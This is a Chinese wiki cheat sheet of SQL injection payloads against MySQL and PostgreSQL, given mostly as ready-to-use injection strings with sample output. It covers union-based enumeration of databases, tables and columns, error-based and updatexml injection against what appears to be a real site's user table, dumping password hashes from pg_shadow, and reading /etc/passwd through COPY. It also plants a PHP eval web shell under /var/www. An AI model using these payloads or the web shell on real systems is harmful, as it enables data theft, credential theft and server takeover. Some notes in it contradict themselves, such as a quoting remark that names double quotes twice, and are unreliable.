习科小黑板 - Silic Wiki

/*列出所有有权限数据库*/
100+union+select+1,group_concat(DISTINCT+table_schema) +from+information_schema.tables

/*列出当前数据库下所有表*/
100+union+select+1,group_concat(DISTINCT+table_name) +from+information_schema.tables+where+table_schema=database()

/*列出admin表下所有字段，使用hex去引号*/
100+union+select+1,group_concat(DISTINCT+column_name) +from+information_schema.columns+where+table_name='admin'

/*错误回显*/
100+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),0x3a,(select+user()+from+mysql.user))a+from+information_schema.tables+group+by+a)b+--+

/*update注入*/
settime.php?id=943126&expiretime=2016-06-26'or+updatexml(1,concat(0x3a,(select+salt+from+vanpeopl_ucenter.uc_members+where+uid=1+and+left(password,32)='d3c8ea6bbf7XXXXX905244699aX'+limit+0,1),0x3a),0)+--+

注入常用函数

组合用法：
id=10+left((select+count(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),2)=24

select version();
union select 1,2,...n,version()
//version()函数与MySQL的是一样的

回显数据举例：
PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)

select aa from bb where cc=dd;
union select 1,2,....n,aa from bb where cc=dd

所有的SQL语法几乎都是这样的语法来爆数据

select datname from pg_database;
union select 1,2,....,n,datname from pg_database;

回显举例：postgres,prc,template1,template0

select relname from pg_stat_user_tables limit 1 offset n;
//类似于MySQL中的information_schema.tables，虽然不大恰当
union select relname from pg_stat_user_tables limit 1 offset 3;
//limit 1 offset 0和MySQL的limit 0,1一个效果。

无举例

select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;
union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5

同MySQL

读取数据库登陆账户和密码

select usename,passwd from pg_shadow;
union select 1,2,...n,usename,passwd from pg_shadow

pg_shadow数据库类似于MySQL中的mysql数据库，root账户为postgres
回显举例：postgres 9d2e7638fd7c7e433f0074a8f65cfd3a

create table test(code text);
copy test from '/etc /passwd'with delimiter E'\t';

注：网上多数关于Postgresql的语句中是双引号，实际测试，8.x到9.x双引号无效，应该用双引号)
回显举例：Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: “root:x:0:0:root:/root:/bin/bash”

insert into test values ('<?php eval($_POST["cmd"];?>');
copy test(code) to ”/var/www/one.php”;

回显举例：Query failed: ERROR: could not open file “/var/www/html/aaa.php” for writing: Permission denied pg_file_read()不如MySQL中的load_file()那么好用
例如：

select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));

回显：Query failed: ERROR: function pg_file_length(“unknown”) does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.

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